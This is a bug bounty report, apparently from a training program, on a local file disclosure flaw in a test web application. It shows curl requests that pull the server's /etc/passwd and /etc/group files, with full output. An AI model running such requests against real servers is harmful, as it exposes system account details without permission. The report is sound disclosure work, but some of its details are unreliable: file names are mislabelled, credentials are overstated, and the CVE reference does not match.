

Laporan Bug Bounty Cilsy Fiolution

<https://vuln.cilsy.id>

Local File Disclosure

24 Juli 2022

Oleh Samuel Dasmianus

Issue Description

Local File Disclosure (LFD) is type of vulnerability which attacker can access/download sensitive file in web application server such as password.txt and group.txt.

Issue Identified

The attacker point to the path of web application which contain private file of website in this case path <https://vuln.cilsy.id/assets/source/etc/password> & <https://vuln.cilsy.id/assets/source/etc/group>

Risk Breakdown

- Risk:High
- CVSS v3 Score:7.5 ([AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N](#))

Affected URLs & POC

- <https://vuln.cilsy.id/assets/source/etc/password>

```
(root@kali) ~ - /home/samcyber
# curl https://vuln.cilsy.id/assets/source/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd:/bin/false
uidd:x:106:110::/run/uidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
```

File password.txt

- <https://vuln.cilsy.id/assets/source/etc/group>

```
(samcyber@Kali)-[~]  
$ curl https://vuln.cilsy.id/assets/source/etc/group  
root:x:0:  
daemon:x:1:  
bin:x:2:  
sys:x:3:  
adm:x:4:syslog  
tty:x:5:  
disk:x:6:  
lp:x:7:  
mail:x:8:  
news:x:9:  
uucp:x:10:  
man:x:12:  
proxy:x:13:  
kmem:x:15:  
dialout:x:20:  
fax:x:21:  
voice:x:22:  
cdrom:x:24:  
floppy:x:25:  
tape:x:26:  
sudo:x:27:  
audio:x:29:  
dip:x:30:  
www-data:x:33:  
backup:x:34:  
operator:x:37:  
list:x:38:
```

File group.txt

Steps to Reproduce

Step 1: Access file in web app server using **curl** command in kali linux terminal which is <https://vuln.cilsy.id/assets/source/etc/passwd> & <https://vuln.cilsy.id/assets/source/etc/group>

Step 2: capture the result show in kali linux terminal or you can just download the file passwd and group from url which you can access from your own browser

Affected Demographic

Attacker can access/download critical file such as passwd.txt and group.txt which contain credential user and should not read by general user.

Recommendation

Make restricted access and download to general user which set the permission folder and file to public.

References

For more information on remediation steps check out reference [\[1\]](#).

- [1] <https://cve.mitre.org/cgi-bin/cvename.cgi?name=2019-3394>